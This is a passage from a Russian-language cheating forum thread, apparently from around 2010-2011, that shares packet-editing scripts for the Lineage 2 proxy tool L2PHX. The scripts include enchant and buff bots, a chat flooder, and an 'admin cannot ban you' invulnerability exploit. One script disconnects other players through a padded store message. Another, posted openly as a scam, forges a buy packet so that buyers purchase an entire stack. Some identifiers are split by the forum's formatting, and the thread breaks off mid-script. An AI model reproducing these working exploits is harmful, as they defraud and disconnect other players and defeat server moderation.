key: boolean;
Timer01, Timer02: TTimer;

procedure Init;
begin
Timer01:=TTimer.Create(nil);
Timer01.OnTimer:=@OnTimer01;
Timer01.enabled:=false;
Timer01.interval:=700; /// здесь можно выставить интервал

Timer02:=TTimer.Create(nil);
Timer02.OnTimer:=@OnTimer02;
Timer02.enabled:=false;
Timer02.interval:=500; /// здесь можно выставить интервал

end;

procedure OnTimer01(Sender: TObject);
begin
case key of
false: begin
buf:=UseItem;
SendToServerEx(nik);
Timer02.enabled:=true;
end;
true: begin
buf:=EnchantItem;
SendToServerEx(nik);
end;
end;
key:=not(key);
end;

procedure OnTimer02(Sender: TObject);
begin
buf:=SelectItem;
SendToServerEx(nik);
Timer02.enabled:=false;
end;

procedure Free;
begin
Timer01.free;
Timer02.free;
CurrentEnch:=0;
key:=false;
end;

begin
if FromServer and (pck[1]=#$87) then case ReadD(2) of
0: begin
CurrentEnch:=CurrentEnch+1;
if CurrentEnch=Enchant then Timer01.enabled:=false;
end;
3: CurrentEnch:=0;
end;
if FromClient and (pck[1]=#$19) then UseItem:=pck;
if FromClient and (pck[1]=#$D0) then SelectItem:=pck;
if FromClient and (pck[1]=#$5F) then EnchantItem:=pck;
if FromClient and (pck[1]+pck[2]=#$56#$0C) then
begin
pck:='';
Timer01.enabled:=not(Timer01.enabled);
end;
end.

Dominian
10.09.2010, 01:07
Юзал поиск, слава богу скрипт не попал в шару, поскольку он есть только у некоторых друзей, но все-таки я его выложу
НЕЗАБЫВАЕМ ТЫКАТЬ СПАСИБКУ

Работает на Interlude

+Админ не может вас забанить(только через базу)
-Вас можно бить массовыми скиллами
-После ТП через ГК надо включать скрипт наново
-Нельзя юзать алхимию(цп, мп, хп) соски можно :)

Да , мобы вас бьют

Гид по нему очень прост, включили сам скрипт выделили себя и написали в чат .on

тестилось на:
La2Woa, Lineagetwo, last-pvp, и еще много всякого ГФ



Автор Ga3uPoBKa
special for zhyk.ru

Const
Name='Вводим свой ник';

var
// переменная
ValidatePosition:string;
a:integer; b:boolean;

procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми себя в таргет!');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClientEX(Name);
end;
//защитная часть
begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2);
SendMsc('Запомнен ObjectID = '+inttostr(a));
b:=true;
end;
end;
If FromClient and (pck=hstr('38 2E 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
Buf:=#$9F;
WriteD(a);
buf:=buf+ hstr('01 00 00 00 56 0D 20 10 02 00 00 00');
SendToServerEX(Name);
end;
end.

ClassID
27.11.2010, 14:43
Скрипт для флуда :) После набора сообщения, текст остаётся, скрипт не мой, на интерлюдии работает, тестил на [Ссылки могут видеть только зарегистрированные и активированные пользователи]
var
m: TMemo;
frm:TForm;
penel: TPanel;
etext: tedit;
button: tbutton;
i: Integer;
Message, Name: String;

procedure SendMs(Sender: TButton);
var
Msg, Nm: String;
dd: integer;
begin
if etext.text<>'' then begin
buf:=#$38;
case etext.text[1] of
'!': begin
Msg:=Copy(etext.text,2,1000);
dd:=1;
nm:='';
end;
'$': begin
Msg:=Copy(etext.text,2,1000);
dd:=9;
nm:='';
end;
'+': begin
Msg:=Copy(etext.text,2,1000);
dd:=8;
nm:='';
end;
'"': begin
dd:=pos(' ', etext.text);
Msg:=Copy(etext.text,dd+1,1000);
nm:=Copy(etext.text,2,dd-3);
dd:=2;
end;
'#': begin
Msg:=Copy(etext.text,2,1000);
dd:=3;
nm:='';
end;
'@': begin
Msg:=Copy(etext.text,2,1000);
dd:=4;
nm:='';
end;
else begin
Msg:=etext.text;
dd:=0;
nm:='';
end;
end;
WriteS(Msg);
WriteD(dd);
if nm<>'' then WriteS(Nm);
SendToServer;
end;
end;

procedure Init;
begin
frm := TForm.Create(nil);
frm.Caption := 'Chat';
frm.BorderStyle := bsSizeable;
frm.Position := poScreenCenter;
frm.Width:=400;
frm.Height:=600;
m:=TMemo.Create(frm);
m.parent:=frm;
m.align:=alClient;
m.ReadOnly:=true;
m.ScrollBars:=ssBoth;
penel:=TPanel.Create(frm);
penel.parent:=frm;
penel.align:=alBottom;
penel.height:=24;
button:=tbutton.Create(penel);
button.parent:=penel;
button.align:=alRight;
button.caption:='Послать';
button.onClick:=@SendMs;
etext:=tedit.Create(penel);
etext.parent:=penel;
etext.align:=alClient;
frm.Show;
end;

procedure Free;
begin
etext.Free;
button.Free;
penel.Free;
m.Free;
frm.Free;
end;

begin
if FromServer and (pck[1]=#$4a) then
begin
i:=10;
name:=ReadS(i);
message:=ReadS(i);
if name='' then name:='Обьявление';
m.Lines.Add(Name+': '+message);
end;
end.


Добавлено через 2 минуты
// Скрипт для вывода информации об игроках на сервере
// в User Tab: ник, раса, пол, класс.
// Автор: Furious
// Версия: 0.3

var
m:TMemo;
frm:TForm;
RaceID, SexID, ClassID, i: Integer;
Message, Name, Sex, Race, Class: String;

procedure Init;
begin
//ShowTab;
frm := TForm.Create(nil);
frm.Caption := 'Char Info!';
frm.BorderStyle := bsSizeable;
frm.Position := poScreenCenter;
frm.Width:=400;
frm.Height:=600;
m:=TMemo.Create(frm);
m.parent:=frm;
m.align:=alClient;
m.ReadOnly:=true;
m.ScrollBars:=ssBoth;
frm.Show;
end;

procedure Free;
begin
m.Free;
frm.Free;
//HideTab;
end;

begin
if FromServer and (pck[1]=#$03) then
begin
i:=22;
Name:=ReadS(i);
RaceID:=ReadD(i);
SexID:=ReadD(i);
ClassID:=ReadD(i);
case RaceID of
0:race:='Люди';
1:race:='Светлые эльфы';
2:race:='Темные эльфы';
3:race:='Орки';
4:race:='Гномы';
end;
case SexID of
0:sex:='Мужской';
1:sex:='Женский';
end;
case ClassID of
0:class:='H_Fighter';
1:class:='H_Warrior';
2:class:='H_Gladiator';
88:class:='H_Duelist';
3:class:='H_Warlord';
89:class:='H_Dreadnought';
4:class:='H_Knight';
5:class:='H_Paladin';
90:class:='H_PhoenixKnight';
6:class:='H_DarkAvenger';
91:class:='H_HellKnight';
7:class:='H_Rogue';
8:class:='H_TreasureHunter';
93:class:='H_Adventurer';
9:class:='H_Hawkeye';
92:class:='H_Sagittarius';
10:class:='H_Mage';
11:class:='H_Wizard';
12:class:='H_Sorceror';
94:class:='H_Archmage';
13:class:='H_Necromancer';
95:class:='H_Soultaker';
14:class:='H_Warlock';
96:class:='H_ArcanaLord';
15:class:='H_Cleric';
16:class:='H_Bishop';
97:class:='H_Cardinal';
17:class:='H_Prophet';
98:class:='H_Hierophant';
18:class:='E_Fighter';
19:class:='E_Knight';
20:class:='E_TempleKnight';
99:class:='E_EvaTemplar';
21:class:='E_SwordSinger';
22:class:='E_Scout';
23:class:='E_PlainsWalker';
101:class:='E_WindRider';
24:class:='E_SilverRanger';
102:class:='E_MoonlightSentinel';
25:class:='E_Mage';
26:class:='E_Wizard';
27:class:='E_SpellSinger';
103:class:='E_MysticMuse';
28:class:='E_ElementalSummoner';
104:class:='E_ElementalMaster';
29:class:='E_Oracle';
30:class:='E_Elder';
105:class:='E_EvaSaint';
31:class:='DE_Fighter';
32:class:='DE_PaulusKnight';
33:class:='DE_ShillienKnight';
106:class:='DE_ShillienTemplar';
34:class:='DE_BladeDancer';
107:class:='DE_SpectralDancer';
35:class:='DE_Assassin';
36:class:='DE_AbyssWalker';
108:class:='DE_GhostHunter';
37:class:='DE_PhantomRanger';
109:class:='DE_GhostSentinel';
38:class:='DE_Mage';
39:class:='DE_DarkWizard';
40:class:='DE_Spellhowler';
110:class:='DE_StormScreamer';
41:class:='DE_PhantomSummoner';
111:class:='DE_SpectralMaster';
42:class:='DE_ShillienOracle';
43:class:='DE_ShillienElder';
112:class:='DE_ShillienSaint';
44:class:='O_Fighter';
45:class:='O_Raider';
46:class:='O_Destroyer';
113:class:='O_Titan';
47:class:='O_Monk';
48:class:='O_Tyrant';
114:class:='O_GrandKhauatari';
49:class:='O_Mage';
50:class:='O_Shaman';
51:class:='O_Overlord';
115:class:='O_Dominator';
52:class:='O_Warcryer';
116:class:='O_Doomcryer';
53:class:='D_Fighter';
54:class:='D_Scavenger';
55:class:='D_BountyHunter';
117:class:='D_FortuneSeeker';
56:class:='D_Artisan';
57:class:='D_Warsmith';
118:class:='D_Maestro';
end;
Message:='Раса: '+race+', Пол: '+sex+', Класс: '+class+'.';
m.Lines.Add(Name+': '+Message);
end;
end.

Rea1
01.12.2010, 18:48
Скрипт на выкидывание игроков с игры
Садимся на продажу по 1 адене любого итема
Нажимаем галочку в скрипте и результат не заставит себя ждать :pandal:

var
MyID :integer;

begin
if FromClient and (pck[1]=#$77) then
begin
buf:=#$77;
WriteS(' '+
' '+
' '+
' '+
' '+
' '+
' '+
' '+
' '+
' '+
' '+
' '+
' '+
' ');
pck:=buf;
end;

MаNiаК
01.12.2010, 18:54
Авто аугментация до получения нужного скила by Vilson
Работает на Грации Финал/+ на моем ГФШ, если на вашем не работает - смотрите пакеты или инвентарь, сейчас на каждом ГФШ админы лепят свои "защиты".

Оба скрипта положить в папку со скриптами, почитать инструкцию вначале скрипта, поменять параметры на свои. Без PacketsT2.script в принципе можно обойтись если вы перенесете вызываемые из него функции в основной скрипт Augment_2.script. Я использую два файла только потому что мне так удобно, этот PacketsT2.script использую во всех своих скриптах что бы не переписывать по сто раз один и тот же код, кроме того при выходе новой версии линейки не надо будет переписывать все скрипты, достаточно будет переписать только PacketsT2.script.

Rea1
02.12.2010, 11:41
Скрипт для развода или типо того xD
Садимся на продажу любой стопки, когда у вас ктото купит хоть 1 итем он автоматически купит всё остальное
Для работы скрипта достаточно просто нажать галочку

var
Data0, Data1, Data2, Data3, Data4: Integer;

begin
if FromServer and (pck[1]=#$9B) then
begin
Data0 := ReadD(30);
end
else
if FromClient and (pck[1]=#$79) then
begin
buf:=pck;
Data1 := ReadD(2);
Data2 := ReadD(6);
Data3 := ReadD(10);
Data4 := ReadD(14);
Data0 := Data0 - Data4;
SendToServer;

buf:=#$79;
WriteD(Data1);
WriteD(3);
WriteD(Data3);
WriteD(Data0);
WriteD(1);
WriteD(Data3);
WriteD(Data0);
WriteD(1);
WriteD(Data3);
WriteD(Data0);
WriteD(1);
SendToServer;
end;
end.

honda2007
18.01.2011, 11:40
Вот ...

{
AutoBD_SVS by Ad
Принимает пати танцует или поет, и следует по необходимости!
Для того чтобы нормально следовал за целью, нужно основным чаром что нибудь в чат написать, чтобы запомнился айди.

name- ник БД или СВСа
name2- ник того перса который будет кидать пати и за кем будет следовать БД или СВС.

Запускать скрипт ТОЛЬКО ПОСЛЕ того как БД или СВС уже вошел в игру.
}
const name2='МойНик' ; name='никБДилиСВС' ;
var
Msg : TMemo;
FormMain : TForm; //Создаваемая форма
useskill: TTimer;
skills:string;
skillid,skillidold:integer;
party_have,iswork,skillhave:boolean;
skillbase: array[1..200,1..2] of integer;
SkillsName : TStringList;
listbox1,listbox2: TListBox;
GB1: TGroupBox;
Button1,Button2,Button3,Button4: TButton;
Lb1,Lb2: Tlabel;
cb3:tcheckbox;
myOID,myX,myY,myZ: integer;
targetOID:integer;

function Create_FormMain : TForm;
Var
Yes : boolean;
begin
Yes := FALSE;
Result := TForm.Create(nil);
TRY
Result.Caption := 'AutoBD v.0.0.1';
Result.Left := 397;
Result.Top := 233;
Result.Width := 450;
Result.Height := 650;
Result.FormStyle := fsNormal;
Result.Position := poDesigned;
Result.BorderStyle := bsSizeable;
Result.BorderWidth := 0;
Result.WindowState := wsNormal;
Result.Color := clBtnFace;
Result.Font.Name := 'Tahoma';
Result.Font.Size := 8;
Result.Font.Color := clWindowText;
Result.Font.CharSet:= 1;
Result.OnClose := @FormClose;

Msg := TMemo.Create(Result);
Msg.Parent := Result;
Msg.Left := 0;
Msg.Top := 400;
Msg.Width := 200;
Msg.Height := 200;
Msg.Visible := TRUE;
Msg.Tag := 0;
Msg.Enabled := TRUE;
Msg.Hint := '';
Msg.ShowHint := FALSE;
Msg.Font.Name := 'Tahoma';
Msg.Font.Size := 8;
Msg.Font.Color := clWindowText;
Msg.Color := clWindow;
Msg.TabOrder := 2;
Msg.TabStop := TRUE;
Msg.Align := alBottom;
Msg.WordWrap := TRUE;
Msg.Alignment := taLeftJustify;
Msg.WantTabs := FALSE;
Msg.WantReturns := TRUE;
Msg.HideSelection := TRUE;
Msg.MaxLength := 0;
Msg.OEMConvert := FALSE;
Msg.ReadOnly := FALSE;
Msg.ScrollBars := ssNone;

GB1 := TGroupBox.Create(Result);
GB1.Parent := result;
GB1.Align := alRight;
GB1.Left := 1;
GB1.Top := 2;
GB1.Width := 100;
GB1.Height := 95;
GB1.Visible := TRUE;
GB1.Tag := 0;
GB1.Enabled := TRUE;
GB1.Hint := '';
GB1.ShowHint := FALSE;
GB1.Caption := 'НЕПРИНИМАЕТ ПАТИ';
GB1.Align := alTOP;
GB1.Color := clBtnFace;
GB1.Font.Name := 'Tahoma';
GB1.Font.Size := 8;
GB1.Font.Color := clWindowText;
GB1.Font.CharSet := 1;
GB1.TabOrder := 3;
GB1.TabStop := FALSE;

listbox1 := Tlistbox.Create(Result);
listbox1.Parent := Result;
listbox1.Left := 0;
listbox1.Top := 100;
listbox1.Width := 180;
listbox1.Height := 200;
listbox1.Visible := TRUE;
listbox1.Tag := 0;
listbox1.Enabled := TRUE;
listbox1.Hint := '';
listbox1.ShowHint := FALSE;
listbox1.Font.Name := 'Tahoma';
listbox1.Font.Size := 8;
listbox1.Font.Color := clWindowText;
listbox1.Color := clWindow;
listbox1.TabOrder := 2;
listbox1.TabStop := TRUE;
listbox1.Align := alLeft;
listbox1.OnDblClick :=@button3click;

listbox2 := Tlistbox.Create(Result);
listbox2.Parent := Result;
listbox2.Left := 0;
listbox2.Top := 100;
listbox2.Width := 180;
listbox2.Height := 200;
listbox2.Visible := TRUE;
listbox2.Tag := 0;
listbox2.Enabled := TRUE;
listbox2.Hint := '';
listbox2.ShowHint := FALSE;
listbox2.Font.Name := 'Tahoma';
listbox2.Font.Size := 8;
listbox2.Font.Color := clWindowText;
listbox2.Color := clWindow;
listbox2.TabOrder := 2;
listbox2.TabStop := TRUE;
listbox2.Align := alRight;
listbox2.OnDblClick :=@button4click;

Button1 := TButton.Create(Result);
Button1.Parent := gb1;
Button1.Left := 10;
Button1.Top := 30;
Button1.Width := 75;
Button1.Height := 25;
Button1.Visible := TRUE;
Button1.Tag := 0;
Button1.Enabled := true;
Button1.Hint := '';
Button1.ShowHint := FALSE;
Button1.Caption := 'Вкл';
Button1.Font.Name := 'Tahoma';
Button1.Font.Size := 8;
Button1.Font.Color := clWindowText;
Button1.Font.CharSet := 1;
Button1.TabOrder := 1;
Button1.TabStop := TRUE;
Button1.Cancel := FALSE;
Button1.ModalResult := 0;
Button1.OnClick := @Button1click;

Button2 := TButton.Create(Result);
Button2.Parent := gb1;
Button2.Left := 100;
Button2.Top := 30;
Button2.Width := 75;
Button2.Height := 25;
Button2.Visible := TRUE;
Button2.Tag := 0;
Button2.Enabled := true;
Button2.Hint := '';
Button2.ShowHint := FALSE;
Button2.Caption := 'Выкл';
Button2.Font.Name := 'Tahoma';
Button2.Font.Size := 8;
Button2.Font.Color := clWindowText;
Button2.Font.CharSet := 1;
Button2.TabOrder := 1;
Button2.TabStop := TRUE;
Button2.Cancel := FALSE;
Button2.ModalResult := 0;
Button2.OnClick := @Button2click;

Button3 := TButton.Create(Result);
Button3.Parent := result;
Button3.Left := 200;
Button3.Top := 140;
Button3.Width := 40;
Button3.Height := 25;
Button3.Visible := TRUE;
Button3.Tag := 0;
Button3.Enabled := True;
Button3.Hint := '';
Button3.ShowHint := FALSE;
Button3.Caption := '>>>>';
Button3.Font.Name := 'Tahoma';
Button3.Font.Size := 8;
Button3.Font.Color := clWindowText;
Button3.Font.CharSet := 1;
Button3.TabOrder := 1;
Button3.TabStop := TRUE;
Button3.Cancel := FALSE;
Button3.ModalResult := 0;
Button3.OnClick := @button3click;

Button4 := TButton.Create(Result);
Button4.Parent := result;
Button4.Left := 200;
Button4.Top := 220;
Button4.Width := 40;
Button4.Height := 25;
Button4.Visible := TRUE;
Button4.Tag := 0;
Button4.Enabled := True;
Button4.Hint := '';
Button4.ShowHint := FALSE;
Button4.Caption := '<<<<';
Button4.Font.Name := 'Tahoma';
Button4.Font.Size := 8;
Button4.Font.Color := clWindowText;
Button4.Font.CharSet := 1;
Button4.TabOrder := 1;
Button4.TabStop := TRUE;
Button4.Cancel := FALSE;
Button4.ModalResult := 0;
Button4.OnClick := @button4click;

Lb1:= Tlabel.Create(result);
Lb1.Parent := GB1;
Lb1.Left := 140;
Lb1.Top := 30+200;
Lb1.Align := alLeft;
Lb1.Layout := tlBottom;
Lb1.Visible := TRUE;
Lb1.Tag := 0;
Lb1.Enabled := TRUE;
Lb1.Hint := '';
Lb1.ShowHint := FALSE;
Lb1.Caption := 'Все Скилы';
Lb1.Font.Name := 'Tahoma';
Lb1.Font.Size := 10;
Lb1.Font.Color := clWindowText;
Lb1.Font.CharSet := 1;

Lb2:= Tlabel.Create(result);
Lb2.Parent := GB1;
Lb2.Left := 140;
Lb2.Top := 30+200;
Lb2.Align := alRight;
Lb2.Layout := tlBottom;
Lb2.Visible := TRUE;
Lb2.Tag := 0;
Lb2.Enabled := TRUE;
Lb2.Hint := '';
Lb2.ShowHint := FALSE;
Lb2.Caption := 'Те которые использовать';
Lb2.Font.Name := 'Tahoma';
Lb2.Font.Size := 10;
Lb2.Font.Color := clWindowText;
Lb2.Font.CharSet := 1;

cb3:= TCheckbox.Create(result);
cb3.Parent := GB1;
cb3.Left := 220;
cb3.Top := 60;
cb3.Width := 220;
cb3.Checked := TRUE;
cb3.Visible := TRUE;
cb3.Tag := 0;
cb3.Enabled := TRUE;
cb3.Hint := '';
cb3.ShowHint := FALSE;
cb3.Caption := 'Следовать послы выхода из пати';
cb3.Font.Name := 'Tahoma';
cb3.Font.Size := 10;
cb3.Font.Color := clWindowText;
cb3.Font.CharSet := 1;

Yes := TRUE;
FINALLY
if not Yes then begin
if Result<>NIL then begin
Result.Free;
Result:=NIL;
end;
end;
END;
Result.Show;
msg.Lines.Add(timetostr(now)+': '+'Autodance, by Ad');
msg.Lines.Add(timetostr(now)+': '+'Работаем с чаром: '+Name);

end;

procedure button1click(Sender: TButton);
begin
iswork:=true;
GB1.Caption := 'ПРИНИМАЕТ ПАТИ';
end;

procedure button2click(Sender: TButton);
begin
iswork:=false;
GB1.Caption := 'НЕПРИНИМАЕТ ПАТИ';
end;

procedure perreshet;
var i:integer;
str:string;
begin
str:='';
for i:=1 to ListBox2.items.Count do
begin
str:=str+Copy(ListBox2.Items.Strings[i-1],1+pos(':',ListBox2.Items.Strings[i-1]),pos(' ',ListBox2.Items.Strings[i-1])-4)+':';
end;
skills:=str;
end;

procedure button3click(Sender: TButton);
var m:integer;
begin

if ListBox1.Items.Count>0 then
begin
m:=ListBox1.ItemIndex;
if (ListBox1.Items.Count=1) then m:=0
else
if m=ListBox1.Items.Count-1 then dec(m);

ListBox2.Items.Add(ListBox1.Items.Strings[ListBox1.ItemIndex]);
ListBox1.Items.Delete(ListBox1.ItemIndex);
ListBox1.ItemIndex:=m;
perreshet;
end;

end;

procedure Button4Click(Sender: TObject);
var m:integer;
begin

if ListBox2.Items.Count>0 then
begin
m:=ListBox2.ItemIndex;
if (ListBox2.Items.Count=1) then m:=0
else
if m=ListBox2.Items.Count-1 then dec(m);

ListBox1.Items.Add(ListBox2.Items.Strings[ListBox2.ItemIndex]);
ListBox2.Items.Delete(ListBox2.ItemIndex);
ListBox2.ItemIndex:=m;
perreshet;
end;

end;

procedure FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action:=caNone;
end;

procedure Free_FormMain;
begin
TRY
if FormMain<>NIL then begin
FormMain.Free;
FormMain:=NIL;
end;
FINALLY
END;
end;

procedure SendMesg(msg:string); //отправка сообщений клиенту
begin
buf:=#$4A;
WriteD(0);
WriteD(2);
WriteS('->БОГ');
WriteS(msg);
SendToClientEx(Name);
end;

procedure Init; //Вызывается при включении скрипта
begin

skillsName:=TStringList.Create;
try
skillsName.LoadFromFile('.\SkillsID.ini');
except
msg.Lines.Add('itemsid.ini не найден!');
exit;
end;

skillid:=0;
iswork:=false;
useskill:=TTimer.Create(nil);
useskill.OnTimer:=@timerskill;
useskill.interval:=200; //время задержки
useskill.enabled:=true;
skillhave:=false;
party_have:=false;
FormMain:=Create_FormMain;
buf:=HStr('3F');
SendToServerEx(name);

buf:=HStr('0F');
SendToServerEx(name);

end;

procedure timerskill;
begin
if skillid<>0 then
begin
msg.lines.add('Юзаю скилл');
MagicSkillUse(skillid);
skillidold:=skillID;
skillID:=0;
end;

end;

procedure Free; //Вызывается при выключении скрипта
begin
useskill.free;
Free_FormMain;
end;

procedure OnConnect(WithClient: Boolean); //Вызывается при установке соединения
begin

end;

procedure OnDisonnect(WithClient: Boolean); //Вызывается при потере соединения
begin

end;

procedure UserInfo; //обновление данных о себе
var
i:word;
begin
MyOID:=ReadD(18);
MyX:=ReadD(2);
MyY:=ReadD(6);
MyZ:=ReadD(10);

end;

procedure MagicSkillUse(MagicID:integer);
begin
buf:=#$2F;
WriteD(MagicID);
WriteD(00);
WriteC(00);
SendToServerEx(Name);
end;

procedure createskillbase;
var
i, j,n: integer;
begin
for i:=1 to 200 do
begin
skillbase[i,1]:=0;
skillbase[i,2]:=0;
end;

n:=0;
J:=10;
listbox1.items.Clear;
for I:=1 to 200 do
begin
skillbase[i,1]:=ReadD(j);
skillbase[i,2]:=ReadD(j);
if skillbase[i,2]=0 then break;
j:=j+5;
inc(n);
listbox1.items.Add('ID:'+inttostr(skillbase[i,2])+' '+SkillsName.Values[IntToStr(skillbase[i,2])]+' LVL:'+inttostr(skillbase[i,1]));
end;

if N>0 then skillhave:=true;
end;

procedure Target(Attacker: Integer);
begin
buf:=#$04;
WriteD(Attacker);
WriteD(MyX);
WriteD(MyY);
WriteD(MyZ);
WriteC(00);
SendToServerEx(Name);
end;

procedure TargetAttacker(Attacker: Integer);
begin
if Attacker<>0 then
begin
msg.Lines.Add('Attacker='+IntToStr(Attacker)+' Player='+IntToStr(MyOID));
Target(Attacker);
delay(800);
Target(Attacker);
delay(800);
end;
end;

procedure buffok;
begin
if ReadD(6)=skillIDold then
begin
msg.lines.add('Прописываем следующий скилл');
if Length(skills)>0 then
begin
skillID:=strtoint(Copy(Skills,1,pos(':',Skills)-1));
delete(Skills,1,pos(':',Skills));
end else
if party_have=true then
begin
msg.lines.add('Cледуем за '+name2);
if cb3.Checked=true then TargetAttacker(targetOID);
msg.lines.add('Разрываем пати');
delay(200);
buf:=HStr('2B');
SendToServerEx(name);
party_have:=false;
end;
end;

end;

var
temp : String;

begin
if pck='' then exit;

if (ConnectName=Name) and FromClient then
case pck[1] of
#$1B:
case ReadD(2) of
//социальное действие Yes для старта
6: begin
iswork:=true;
GB1.Caption:= 'ПРИНИМАЕТ ПАТИ';
end;
//социальное действие No для остановки
5: begin
iswork:=false;
GB1.Caption:= 'НЕПРИНИМАЕТ ПАТИ';
end;
end;
end;

if (ConnectName=Name) and FromServer then
begin
case pck[1] of
#$39: if iswork then
begin
temp:=ReadS(2);
if temp=name2 then
begin
perreshet;
Delay(100);
buf:=HStr('2A 01 00 00 00');
SendToServerEx(name);
msg.Lines.Add('Принимаю пати');
party_have:=true;
Delay(200);
if Length(skills)>0 then
begin
msg.Lines.Add('Прописываю скилл');
skillID:=strtoint(Copy(Skills,1,pos(':',Skills)-1));
delete(Skills,1,pos(':',Skills));
end;
pck:='';
end else msg.Lines.Add('Проигнорирован запрос пати от: '+temp);
end;

#$76: begin
if (MyOID=ReadD(2)) then buffok;
end;
#$04: begin //пакет с инфой о моём чаре
UserInfo;
end;
#$4A: begin //пакет с инфой о моём чаре
if ReadS(10)=name2 then
begin
TargetOID:=ReadD(2);
msg.lines.add('Нашли цель следовния: '+inttostr(TARGETOID));
end;
end;
#$58: begin
if skillhave=false then createskillbase;
end;

end;
end;

end.

lSiml
24.01.2011, 18:20
Суть скрипта как с анимированным титулом, только здесь анимируется значек клана)


//Crests are captured from RequestSetPledgeCrest and copied verbatim (minus the spaces)
//Set your char nick in 'name'
//Crest change delay should be set to at least 3000 (3s) to work
//Script is enabled/disabled (toggle) with /socialvictory in game
const
name='YOURNICK';
crestnr=2;
d = 3000;

crest1='0900010000444453207C0000000710080010000000 10000000800000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000200000000400000044585431000000 00000000000000000000000000000000000000000000000000 000000000000000000000000FFFF000000000000FFFF000000 000000FFFF000000000000FFFF00000000000000D9F0DE0050 40400099F0DE00050404E0A3000855E74DC7E0BC0000555E56 54E0AE00991595959500D9E0A6045F0C7C00B9E0DE10151055 0081E0FF010101010083000035152555005100830404060000 99E0DE1010500000D9E0DE01010500';
crest2='0900010000444453207C0000000710080010000000 10000000800000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000200000000400000044585431000000 00000000000000000000000000000000000000000000000000 000000000000000000000000FFFF000000000000FFFF000000 000000FFFF000000000000FFFF0000000000000000F7BD0000 4040DDFF0000555558600000FFFF00000824BCF7000055555B 5CDEFF000095151535FFFF0842CF2737A7DDFF2000890509B3 7EEF000056555556BDF7000025255555DDFF0000C0DE5555F7 BD000058565555F7BD000054575555';

var
y:integer;
c,t,stop: integer;
n:integer;

procedure Init; //will be called on script initialization
begin
c:=0;
t:=0;
stop:=1;
n:=0;
end;


function GetTickCount(): integer;
var
lib,res: integer;
begin
lib := LoadLibrary('kernel32.dll');
res := CallFunction(lib, 'GetTickCount', 0, [nil]);
FreeLibrary(lib);
result := res;
end;

//Primary part of dcript
//calls alltime when l2ph got new packet
begin
if (FromClient) and (pck[1] = #$34) then
begin
y := ReadD(2);
if (y = 3) then
begin
if (stop=0) then
begin
stop:=1;
end
else
begin
stop:=0;
end;
pck := '';
end;
end;
c := GetTickCount()-t;
if (stop = 0) and (c > d) then
begin
t := GetTickCount();
if (n=0) then
begin
buf:= Hstr(Crest1);
n:=1;
end

else if (n=1) then
begin
buf:= Hstr(Crest2);
n:=2;
end;
if (n=crestnr) then n:=0;

SendToServerEx(name);
end;
end.


автор не известен, на coderx выложил J-Fobos

lSiml
02.02.2011, 01:11
Скрипт на заточку от Fer123
Скрипт сделан для хроник: Грация финал, Эпилог и Фрея.

const
characterName='fer123';
//protocol='freya';
protocol='final/epilogue';
Max=80;
AltOption=false;
var
ItemBase : array[1..4,1..max] of int64;
ScrollMSListEntry : array[1..2,0..29] of integer;
invindex : array[1..5] of integer;
ScrollMSBypass : array[0..29] of string;
arEnchantMax,arEnchantTo,arItemOID,arItemID,arScro llID: array of Integer;
values : array[0..16] of variant;
ItemsName, Inventory, Scrolls, MultisellList : TStringList;
TempItemOID,TempScrollID,arLength,arPos,CurEnchLvl ,ScrollOID,ScrollMSIndex,colID,colMSListID,colMSEn tryID,ColExchangeCondition,Step,ScrollAmount,timer int11,timerint12,timerint13,timerint2,timerrandom, stries,itries:integer;
invmask,TempItemName,TempScrollName,TempMultisellB ypass,colMSBypass:string;
timer,timer2:TTimer;
started,error,scrollbuying,adenabuying,itembuying, debugmsg,pass2,blockpck:boolean;

Procedure Init;
begin
SetLineage2Version(protocol);
UseForConnectName := characterName;
ItemsName:=TStringList.Create;
Inventory:=TStringList.Create;
Scrolls:=TStringList.Create;
MultisellList:=TStringList.Create;
LoadScrolls;
timer:=TTimer.Create(nil);
timer.OnTimer:=@OnTimer;
timer.enabled:=false;
timer.interval:=2000;
timer2:=TTimer.Create(nil);
timer2.OnTimer:=@OnTimer2;
timer2.enabled:=false;
timerint11:=2100;
timerint12:=2200;
timerint13:=2300;
timerint2:=10000;
timer2.interval:=timerint2;
ScrollAmount:=10;
ColExchangeCondition:=25000000;
TempItemName:='Нажми для выбора предмета';
TempScrollName:='Нажми для выбора заточки';
buf:=#$14;
SendToServer;
try
ItemsName.LoadFromFile('settings/ItemsID.ini');
except
exit;
end;
end;

Procedure Free;
var i:integer;
begin
timer.Free; timer2.Free;
ItemsName.Free; Inventory.Free; Scrolls.Free; MultisellList.Free;
started:=false; error:=false; scrollbuying:=false; adenabuying:=false; itembuying:=false;
debugmsg:=false; pass2:=false; blockpck:=false;
invmask:=''; TempItemName:=''; TempScrollName:=''; TempMultisellBypass:=''; colMSBypass:='';
TempItemOID:=0; TempScrollID:=0; arLength:=0; arPos:=0; CurEnchLvl:=0; ScrollOID:=0;
ScrollMSIndex:=0; colID:=0; colMSListID:=0; colMSEntryID:=0; ColExchangeCondition:=0;
Step:=0; ScrollAmount:=0; timerint11:=0; timerint12:=0; timerint13:=0; timerint2:=0;
timerrandom:=0; stries:=0; itries:=0;
SetLength(arItemOID,1);
SetLength(arItemID,1);
SetLength(arScrollID,1);
SetLength(arEnchantTo,1);
SetLength(arEnchantMax,1);
arItemOID[0]:=0;
arItemID[0]:=0;
arScrollID[0]:=0;
arEnchantTo[0]:=0;
arEnchantMax[0]:=0;
for i:=0 to 29 do begin
ScrollMSListEntry[1,i]:=0;
ScrollMSListEntry[2,i]:=0;
ScrollMSBypass[i]:='';
end;
for i:=1 to Max do begin
ItemBase[1,i]:=0;
ItemBase[2,i]:=0;
ItemBase[3,i]:=0;
ItemBase[4,i]:=0;
end;
end;

Procedure LoadScrolls;
begin
Scrolls.Add('956=Scroll: Enchant Armor D');
Scrolls.Add('952=Scroll: Enchant Armor C');
Scrolls.Add('948=Scroll: Enchant Armor B');
Scrolls.Add('730=Scroll: Enchant Armor A');
Scrolls.Add('960=Scroll: Enchant Armor S');
Scrolls.Add('955=Scroll: Enchant Weapon D');
